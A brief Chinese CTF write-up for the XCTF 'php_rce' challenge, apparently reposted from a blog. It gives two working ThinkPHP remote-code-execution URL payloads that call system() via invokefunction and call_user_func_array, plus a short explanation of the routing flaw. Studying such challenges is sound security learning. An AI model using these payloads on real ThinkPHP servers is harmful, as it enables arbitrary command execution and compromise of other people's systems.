XCTF中高阶web的php_rce

payload为

/?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20%27system("cat%20../../../flag");%27

解析:
1.当$name以反斜线开始时会直接将其作为类的命名空间路径。
2.在pathinfo模式下,$_SERVER[‘PATH_INFO’]会自动将URL中的“\”替换为“/”,导致破坏掉命名空间格式,所以我们采用兼容模式。默认配置中,var_pathinfo默认为s,所以我们可以用$_GET[‘s’]来传递路由信息。
3.index默认模块
4.App类继承于Container类
5.在Container类中有个call_user_func_array()回调函数,经常做代码审计的小伙伴都知道,这个函数非常危险,只要能控制 f u n c t i o n function和 args,就能造成代码执行漏洞。
这里给出另一种paly会比较好理解:

/?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20../../../flag

参考链接:https://www.freebuf.com/vuls/200585.html

发布了67 篇原创文章 · 获赞 13 · 访问量 1万+

猜你喜欢

转载自blog.csdn.net/qq_44902875/article/details/104860718